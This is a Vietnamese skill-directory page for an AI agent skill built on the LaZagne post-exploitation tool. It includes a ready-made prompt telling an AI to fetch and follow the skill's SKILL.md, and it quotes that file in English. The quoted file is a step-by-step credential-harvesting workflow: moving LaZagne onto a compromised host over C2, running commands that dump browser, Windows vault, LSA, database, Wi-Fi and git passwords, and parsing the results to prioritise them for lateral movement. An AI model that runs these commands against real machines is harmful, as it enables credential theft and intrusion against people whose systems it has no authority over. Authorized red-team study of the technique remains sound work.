Chuyển đến nội dung
Skillpedia
Cơ sở dữ liệu35k · #8211

performing-credential-access-with-lazagne

Skill này làm gì

Công cụ này tìm và khôi phục mật khẩu đã lưu trên máy tính. Nó có thể tìm mật khẩu từ trình duyệt, chương trình email, cơ sở dữ liệu và các ứng dụng khác.

Khi nào nên dùng

  • ✓Khi kiểm tra bảo mật của một hệ thống.
  • ✓Khi đã truy cập được một máy tính và cần tìm thêm mật khẩu.
  • ✓Khi kiểm tra xem mật khẩu đã lưu có được bảo vệ hay không.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-credential-access-with-lazagne/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-credential-access-with-lazagne/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Tìm các mật khẩu đã lưu trên máy tính.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ kiểm tra nhiều nơi có thể lưu mật khẩu, như trình duyệt và các chương trình. Nó cố “mở khóa” các mật khẩu này để bạn có thể xem.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

  • When conducting security assessments that involve performing credential access with lazagne
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
  • Extract credentials from all supported password stores
  • Parse and prioritize recovered credentials for lateral movement
  • Identify high-value credentials (domain admin, service accounts, cloud access)
  • Document credential harvesting results with appropriate evidence handling
  • Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

  • T1555 - Credentials from Password Stores
  • T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
  • T1555.004 - Credentials from Password Stores: Windows Credential Manager
  • T1552.001 - Unsecured Credentials: Credentials In Files
  • T1552.002 - Unsecured Credentials: Credentials in Registry
  • T1003.004 - OS Credential Dumping: LSA Secrets
  • T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

  1. Transfer LaZagne to the compromised host:
    # Pre-compiled executable (Windows)
    # Transfer lazagne.exe via C2 channel or file upload
    
    # Python version (requires Python on target)
    git clone https://github.com/AlessandroZ/LaZagne.git
    cd LaZagne
    pip install -r requirements.txt
    
  2. Verify execution capability and privileges:
    # Check current user context
    whoami /priv
    
    # LaZagne works with standard user privileges for user-level stores
    # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
    

Phase 2: Full Credential Extraction (Windows)

  1. Run LaZagne with all modules:
    # Extract all credentials
    lazagne.exe all
    
    # Export results to JSON
    lazagne.exe all -oJ
    
    # Export results to specific file
    lazagne.exe all -oJ -output C:\Temp\creds
    
  2. Run specific modules for targeted extraction:
    # Browsers only (Chrome, Firefox, Edge, Opera, IE)
    lazagne.exe browsers
    
    # Windows credential stores
    lazagne.exe windows
    
    # Database credentials
    lazagne.exe databases
    
    # Email client credentials
    lazagne.exe mails
    
    # Wi-Fi passwords
    lazagne.exe wifi
    
    # Git credentials
    lazagne.exe git
    
    # System credentials (requires elevated privileges)
    lazagne.exe sysadmin
    

Phase 3: Credential Extraction (Linux)

  1. Run LaZagne on Linux targets:
    # Full extraction
    python3 laZagne.py all
    
    # Browser credentials
    python3 laZagne.py browsers
    
    # System credentials (SSH keys, shadow file with root)
    python3 laZagne.py sysadmin
    
    # Database credentials
    python3 laZagne.py databases
    
    # Git credentials
    python3 laZagne.py git
    

Phase 4: Credential Analysis and Prioritization

  1. Parse JSON output for unique credentials:
    import json
    with open("creds.json") as f:
        results = json.load(f)
    for module in results:
        for entry in module.get("results", []):
            print(f"Source: {entry.get('Category')}")
            print(f"  User: {entry.get('Login', 'N/A')}")
            print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
    
  2. Prioritize credentials by value:

…

Câu hỏi thường gặp

Tôi có cần sự cho phép để dùng công cụ này không?

Có, bạn cần được cấp quyền để dùng công cụ này trên bất kỳ hệ thống nào, vì nó truy cập thông tin nhạy cảm.

Công cụ có chạy trên mọi loại máy tính không?

Nó chạy được trên Windows, Linux và macOS, nhưng có nhiều tính năng hơn trên Windows.

Thông tin đăng nhập (credential) là gì?

Đó là dữ liệu đăng nhập như tên người dùng và mật khẩu, cho phép truy cập hệ thống hoặc ứng dụng.

Chi tiết

Mô tả gốc của tác giả

Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#8211
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự